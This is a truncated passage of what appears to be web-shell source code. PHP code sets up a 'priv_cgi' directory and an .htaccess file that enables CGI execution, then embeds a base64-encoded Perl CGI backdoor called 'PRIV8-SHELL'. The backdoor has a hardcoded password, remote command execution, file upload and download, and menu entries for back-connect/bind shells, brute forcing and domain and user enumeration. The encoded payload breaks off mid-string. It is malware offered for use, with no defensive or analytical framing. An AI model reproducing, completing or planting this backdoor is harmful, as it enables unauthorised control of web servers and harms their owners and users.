Telnet</h1><div class=content><br>";\r\n\t$cgi_dir = mkdir(\'priv_cgi\', 0755);\r\n        chdir(\'priv_cgi\');\r\n\t$file_cgi = "cgi.priv";\r\n        $memeg = ".htaccess";\r\n\t$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \\n AddType application/x-httpd-cgi .priv \\n AddHandler cgi-script .priv \\n AddHandler cgi-script .priv";\r\n\t$htcgi = fopen(".htaccess", "w");\r\n\t$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiUFJJVjgtU0hFTEwgVmVyc2lvbiAxLjMiOwokRWRpdFBlcnNpb249Ijxmb250IHN0eWxlPSd0ZXh0LXNoYWRvdzogMHB4IDBweCA2cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApLCAwcHggMHB4IDVweCByZ2IoMzAwLCAwLCAwKTsgY29sb3I6I2ZmZmZmZjsgZm9udC13ZWlnaHQ6Ym9sZDsnPlBSSVY4LVNIRUxMPC9mb250PiI7CgokUGFzc3dvcmQgPSAicHJpdjhzaGVsbCI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9CgllbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxNTA7CiRyb3dzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJbXkgJGRpciA9JEN1cnJlbnREaXI7CgkkZGlyPX4gcy9cXC9cXFxcL2c7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxsaW5rIGhyZWY9J2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcGVuK1NhbnMnIHJlbD0nc3R5bGVzaGVldCc+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPlByaXY4IFNoZWxsIENnaTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IE9wZW4gU2FuczsKfQp0ciB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmZmZmZjsKfQp0ZCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmMTExMTsKZm9udDogMTBwdCBPcGVuIFNhbnM7Cn0KCnRhYmxlIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7Cn0KCgppbnB1dCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogMTBwdCBPcGVuIFNhbnM7CmNvbG9yOiAjZmZmZmZmOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICNmZjExMTE7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiB3aGlsZTsKfQoKcnVuIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiAjRkYwMEFBOwp9Cgp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogI2FhYTsKfQpBOmxpbmsgewoJQ09MT1I6ICNmZjExMTE7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogI2ZmMTExMTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KCi5saXN0ZGlyIHRyOmhvdmVyewoJYmFja2dyb3VuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpob3ZlciB0ZHsKCWJhY2tncm91bmQ6ICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOwp9Ci5ub3RsaW5lewoJYmFja2dyb3VuZDogIzExMTsKfQoubGluZXsKCWJhY2tncm91bmQ6ICMyMjI7Cn0KPC9zdHlsZT4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQp7CgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8KCXZhciBhamF4PSIiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09J2YnKQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJfWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3JpcHQ+CjxzdHlsZT4KYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOyBjb2xvcjojZTFlMWUxOyBtYXJnaW46MDsgZm9udDpub3JtYWwgNzUlIE9wZW4gU2Fucywgc2Fucy1zZXJpZjsgYmFja2dyb3VuZC1pbWFnZTp1cmwoJ2h0dHBzOi8vaS5pbWd1ci5jb20vaExjUUNCeC5naWYnKTsgfSA8L3N0eWxlPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPgoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoKCTx0ZD4KCgkJPGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmZmZmZmIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmZmZmZiI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfAoKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4KCjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoKCXByaW50IDw8RU5EOwo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsKICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgewogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLgogICAgcmV0dXJuOwogIH0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50OwogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOwogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOwogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOwogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7CiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOwogIHRoaXMuY3VycmVudFRleHQgPSAiIjsKICB0aGlzLmN1cnJlbnRDaGFyID0gMDsKICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7CiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7CiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgdGhpcy5pblRhZyA9IGZhbHNlOwogIHRoaXMudGFnQnVmZmVyID0gIiI7CiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsKfQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsKICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsKICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4KICAgIHJldHVybjsKICB9CiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOwovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7CiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7CiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7CiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgIC